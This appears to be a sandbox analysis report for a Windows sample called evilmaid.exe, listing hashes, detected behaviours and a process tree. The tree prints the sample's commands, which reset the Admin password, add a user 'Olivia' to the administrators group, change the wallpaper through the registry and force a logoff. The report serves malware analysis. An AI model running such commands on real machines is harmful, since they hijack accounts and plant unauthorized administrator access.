Analysis

  • user interaction
    yes
  • max time kernel
    39s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    25/04/2026, 01:02

General

  • Target
    evilmaid.exe
  • Size 1.5MB
  • Sample260425-bdymqagv6p
  • SHA256 403862530acc8478d8a5dc8dd8827cdf2cf516ab1145d43c8dbe26f1a56a0fbf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Runs net.exe
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\evilmaid.exe
    "C:\Users\Admin\AppData\Local\Temp\evilmaid.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3795.tmp\3796.tmp\3797.bat C:\Users\Admin\AppData\Local\Temp\evilmaid.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\system32\timeout.exe
        timeout /t 3 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:4712
      • C:\Windows\system32\net.exe
        net user Admin stupidlittlemaid
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user Admin stupidlittlemaid
          4⤵
            PID:4992
        • C:\Windows\system32\reg.exe
          reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\/test.png /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1592
        • C:\Windows\system32\rundll32.exe
          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
          3⤵
            PID:708
          • C:\Windows\system32\timeout.exe
            timeout /t 5 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:2836
          • C:\Windows\system32\reg.exe
            reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\/test.png /f
            3⤵
            • Sets desktop wallpaper using registry
            PID:5036
          • C:\Windows\system32\timeout.exe
            timeout /t /3 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:4964
          • C:\Windows\system32\net.exe
            net user "Olivia" X3 /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2276
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user "Olivia" X3 /add
              4⤵
                PID:3496
            • C:\Windows\system32\net.exe
              net localgroup administrators Olivia /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1380
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup administrators Olivia /add
                4⤵
                  PID:1488
              • C:\Windows\system32\shutdown.exe
                shutdown -l
                3⤵
                  PID:1096
            • C:\Windows\system32\LogonUI.exe
              "LogonUI.exe" /flags:0x4 /state0:0xa3a21855 /state1:0x41c64e6d
              1⤵
              • Modifies data under HKEY_USERS
              • Suspicious use of SetWindowsHookEx
              PID:408

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  3797.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\3795.tmp\3796.tmp\3797.bat
                  • Size 742B
                  • SHA256 80bd0527bea6233c78477579d113bbde56eaae1b17806f5bcb824ac158b367e2
                  • MD5 SHA1 SHA512 TLSH

                  memory/1052-0-0x0000000000417000-0x0000000000418000-memory.dmp

                  memory/2836-6-0x0000019D3FE00000-0x0000019D3FF20000-memory.dmp

                  memory/4712-5-0x0000014132310000-0x0000014132430000-memory.dmp

                  memory/4964-7-0x00000229EC2F0000-0x00000229EC410000-memory.dmp